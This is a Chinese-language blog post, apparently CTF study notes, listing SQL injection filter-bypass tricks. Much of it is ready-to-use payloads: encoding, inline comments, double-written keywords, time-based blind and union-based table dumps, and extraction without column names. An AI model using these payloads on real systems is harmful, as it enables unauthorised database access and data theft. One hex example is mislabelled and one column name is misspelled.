SQL关键字绕过

过滤空格

使用注释符/**/绕过

1
select/**/name/**/from/**/table

使用url编码绕过

1
%0a	空格的url编码

使用浮点数绕过

1
2
3
select * from users where id=8E0union select 1,2,3
等价于
select * from users where id=8.0 union select 1,2,3

使用NULL值绕过

\N表示空

1
2
3
select * from users where id=\Nunion select 1,2,3;
等价于
select * from users where id=1 union select 1,2,3;

使用两个空格替代一个空格,使用Tab替代空格

使用括号绕过

括号没有被过滤,可以用括号绕过。 在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

1
2
3
select(user())from ctf where(1=1)and(2=2)
时间盲注的情况下比较常见
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))--+

过滤引号

使用16进制绕过

1
2
3
select column_name  from information_schema.tables where table_name="ctf"
将ctf用16进制表示之后
select column_name from information_schema.tables where table_name=0x7573657273

过滤逗号

使用from语句绕过

1
2
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);

使用join绕过

1
2
3
union select 1,2
等价于
union select * from (select 1)a join (select 2)b

使用like绕过

1
2
3
select ascii(mid(user(),1,1))=80   
等价于
select user() like 'r%'

%类似于一个通配符

使用offset绕过

1
2
3
select * from news limit 0,1
等价于
select * from news limit 1 offset 0

过滤注释符

过滤注释符绕过

1
--+   #   %23   --%20

绕过方法

1
?id=1' and '1'='1

过滤等号

使用like 、rlike 、regexp

过滤or and xor not

1
2
3
4
and='&&'  
or='||'
xor='|'
not='!' //感叹号

过滤union select

大小写绕过

1
id=1' UniON sElect

内联注释

MySQL会执行放在/!…/中的语句。例如:/*!select*/*/*!from*/users;

1
id=-1' /*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*!information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#

双写关键字

1
id=-1' union selselectect 1,2,3–-+

双重URL编码绕过

1
id=1 and 1=2 union ses%256cect 1,2,database()

通过将select进行双重编码绕过了select关键字过滤,获取了数据库的信息

十六进制编码绕过

1
2
3
4
5
MySQL数据库可以识别十六进制,会对十六进制的数据进行自动转换


--->【dvwa-medium-sql】
id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_gchema=0x6374667377696b69

Unicode编码绕过

1
2
3
4
IIS中间件可以识别Unicode字符,当URL中存在Unicode字符时,IIS中间件会自动对Unicode字符进行转换

--->SqlServer数据库
id=1 and 0 < (se$u006cect top 1 name from sec.dbo.sysobjects where xtype='U')

ASCII编码绕过

1
SQL Server数据库的char函数可以将字符转换为ASCII码,这样也可以绕过单引号转义的情况。

等价函数

1
2
3
4
5
可以用以下等价函数代替来绕过过滤:
1、sleep函数可以用benchmark函数代替
2、ascii函数可以用hex, bin函数代替
3、group_concat函数可以用concat_ws函数代替
4、updatexml函数可以用extractvalue函数代替

绕过information

InnoDb引擎

而在MYSQL5.6以上的版本中,inndb增加了innodb_index_statsinnodb_table_stats两张表(mysql.innodb_table_stats),这两张表中都存储了数据库和其数据表的信息,但是没有存储列名

sys数据库

在5.7以上的MYSQL中,新增了sys数据库。可以通过其中的schema_auto_increment_columns
(sys.schema_auto_increment_columns)来获取表名。

但是上述两种方法都只能查出表名,无法查到列名,这时我们就要用到无列名注入

无列名注入

无列名注入原理

无列名注入的原理就是联合查询创建虚拟数据。可以看作将我们不知道的列名进行取别名操作,在取别名的同时进行数据查询,所以查询字段数一定要相同,如果我们查询的字段多于数据表中列的时候,就会出现报错

实战演示

正常查users表的数据是select * from users;

如果你的查询语句是 select 1,2,3 union select * from users where id=1;
mysql数据库就会生成一个虚拟的表

那么就可以将查询的列改成1,2,3
使用语句select 2 from (select 1,2,3 union select * from users where id=1)a;
这条sql语句在联合查询创建虚拟表a,在创建虚拟列1,2,3的同时查询虚拟表第二列的数据

差多列的时候 select group_concat(1,2) from (select 1,2,3 union select * from users where id=1)a;

如果反引号被ban了,可以使用如下语句
select 1 as a,2 as b,3 as c union select * from users where id=1;看下效果

接下来查询语句就变成了
select b from(select 1 as a,2 as b,3 as c union select * from users where id=1)a;
不过多演示

join无列明注入

通过JOIN建立两个表之间的内连接,也就是说将两张表的列名给加起来,可能会爆出相同的列的名字,我们利用的就是这个特性来爆出列名,比如
select * from (select * from users as a join users as b)a;

现在得到了第一个列名,那么用接下来这个语句来爆出第二个
select * from (select * from users as a join users as b using(id))a;

然后在爆出第三个,以此类推
select * from (select * from users as a join users as b using(id,username))a;


SQL关键字绕过
http://example.com/2024/08/24/SQL关键字绕过/
作者
unjoke
发布于
2024年8月24日
许可协议